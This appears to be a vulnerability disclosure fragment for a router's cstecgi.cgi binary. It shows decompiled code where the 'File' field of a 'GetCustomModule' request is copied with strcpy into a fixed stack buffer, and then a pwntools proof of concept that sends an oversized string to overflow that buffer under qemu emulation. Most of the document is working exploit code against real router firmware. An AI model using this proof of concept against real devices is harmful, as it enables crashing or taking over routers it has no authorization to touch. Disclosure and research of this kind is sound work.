

```
Decompile: FUN_0041309c - (cstecgi_not_test.cgi)
      AOTO ...bru?
14
      char acStack409936 [204800];
15
     undefined auStack205136 [204800];
16
     char acStack336 [256];
17
     undefined4 local_50;
18
     undefined4 local_4c;
19
     undefined4 local_48;
20
     undefined4 local_44;
21
     undefined4 local_40;
22
     undefined4 local_3c;
23
     undefined4 local_38;
24
     undefined4 local_34;
25
     undefined local_30;
26
27
      memset(acStack409936,0,0x32000);
28
      memset(auStack205136,0,0x32000);
29
     memset(acStack336,0,0x100);
30
     uVar1 = cJSON_CreateObject();
31
     pcVar2 = (char *)websGetVar(param_1, "Action", "");
     uVar3 = cJSON_GetObjectItem(param_1,"data");
32
33
      iVar4 = strcmp(pcVar2, "GetCustomModule");
34
     if (iVar4 == 0) {
35
       pcVar2 = (char *)websGetVar(uVar3, "FileMd5", "");
36
        __haystack = (char *)websGetVar(uVar3,"FileUrl","");
37
       __src = (char *)websGetVar(uVar3,"File","");
38
       strcpy(acStack409936,__src);
       __size = base64_decode(acStack409936,auStack205136);
39
40
         _s = fopen64("/tmp/custom_module","wb");
       fwrite(auStack205136,__size,1,__s);
41
42
       fclose(__s);
43
       local_50 = 0;
44
       local_4c = 0;
45
       local_48 = 0;
46
       local_44 = 0;
```

POC

```
from pwn import *
import json

data = {
    "topicurl": "setting/UploadCustomModule",
    "Action": "GetCustomModule",
    "data": {
        "File": "A"*(0x64000 + 0x400)
    }
}

data = json.dumps(data)
print(data)

argv = [
    "qemu-mips-static",
```

```
"-g", "1234",
    "-L", "./lib",
    "-E", "LD_PRELOAD=./hook.so",
    "-E", "CONTENT_LENGTH={}".format(len(data)),
    "-E", "REMOTE_ADDR=192.168.2.1",
    "./cstecgi.cgi"
]

a = process(argv=argv)

a.sendline(data.encode())

a.interactive()
```